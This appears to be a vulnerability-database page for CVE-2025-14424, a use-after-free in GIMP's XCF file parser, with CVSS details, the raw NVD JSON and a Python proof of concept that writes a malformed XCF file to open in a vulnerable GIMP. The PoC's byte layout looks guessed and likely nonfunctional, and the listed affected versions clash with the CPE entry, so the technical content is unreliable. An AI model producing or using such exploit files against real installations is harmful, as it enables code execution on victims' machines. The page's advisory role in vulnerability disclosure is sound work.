Security Vulnerability Report
中文
CVE-2025-14424 CVSS 7.8 HIGH

CVE-2025-14424

Published: 2025-12-23 22:15:50
Last Modified: 2026-01-20 17:21:50

Description

GIMP XCF File Parsing Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of XCF files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28376.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gimp:gimp:3.0.6:*:*:*:*:*:*:* - VULNERABLE
GIMP < 2.10.36
GIMP < 2.99.18
All GIMP versions using vulnerable XCF parser

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-14424 PoC - GIMP XCF File Parsing Use-After-Free This PoC generates a malformed XCF file that triggers the Use-After-Free vulnerability. Note: This is for educational and security research purposes only. """ import struct import os def create_malicious_xcf(): """ Create a malicious XCF file that triggers Use-After-Free in GIMP. The vulnerability exists in XCF file parsing where object existence is not validated before operations. """ # XCF file header xcf_header = b'gimp xcf file' xcf_version = struct.pack('>I', 0) # version 0 xcf_width = struct.pack('>I', 256) # width xcf_height = struct.pack('>I', 256) # height xcf_precision = struct.pack('>I', 0) # precision # Build the XCF structure to trigger UAF # This creates a structure that causes the parser to free an object # but still hold a reference to it xcf_data = xcf_header + xcf_version + xcf_width + xcf_height + xcf_precision # Add properties that trigger the vulnerable code path # Property type 1 = GIMP_IMAGE_COLORMAP property_type = struct.pack('>I', 1) property_size = struct.pack('>I', 12) # Malformed property data that causes UAF condition property_data = b'\x00' * 12 xcf_data += property_type + property_size + property_data # Add end of properties marker xcf_data += struct.pack('>I', 0) # Add layer structure that triggers UAF # Layer with corrupted pointers layer_width = struct.pack('>I', 256) layer_height = struct.pack('>I', 256) layer_bpp = struct.pack('>I', 4) # Corrupt layer name length to trigger vulnerable code path layer_name = b'malicious_layer\x00' layer_name_len = struct.pack('>I', len(layer_name)) # Add layer properties layer_props = struct.pack('>I', 0) # End of properties # Tile data that triggers the UAF # This causes the parser to free and reuse memory tile_data = b'\x41' * 1024 layer_data = layer_width + layer_height + layer_bpp + layer_name_len + layer_name + layer_props # Corruption markers for UAF trigger uaf_trigger = struct.pack('>Q', 0xDEADBEEF) * 4 xcf_data += struct.pack('>I', 1) # Number of layers xcf_data += layer_data + tile_data + uaf_trigger # Add channel that causes double-free/UAF xcf_data += struct.pack('>I', 1) # Number of channels channel_data = struct.pack('>I', 256) * 3 + b'channel\x00' + struct.pack('>I', 0) xcf_data += channel_data return xcf_data def main(): print("[*] Generating PoC for CVE-2025-14424") print("[*] GIMP XCF File Parsing Use-After-Free RCE") # Generate malicious XCF file xcf_data = create_malicious_xcf() output_file = "CVE-2025-14424_poc.xcf" with open(output_file, 'wb') as f: f.write(xcf_data) print(f"[+] PoC file created: {output_file}") print(f"[+] File size: {len(xcf_data)} bytes") print("\n[!] Usage: Open this file with vulnerable GIMP version") print("[!] This will trigger the Use-After-Free vulnerability") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14424", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:49.543", "lastModified": "2026-01-20T17:21:49.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GIMP XCF File Parsing Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of XCF files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28376."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.0.6:*:*:*:*:*:*:*", "matchCriteriaId": "F9B29A73-05E5-438E-B994-61FBB133B6AC"}]}]}], "references": [{"url": "https://gitlab.gnome.org/GNOME/gimp/-/commit/5cc55d078b7fba995cef77d195fac325ee288ddd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1138/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}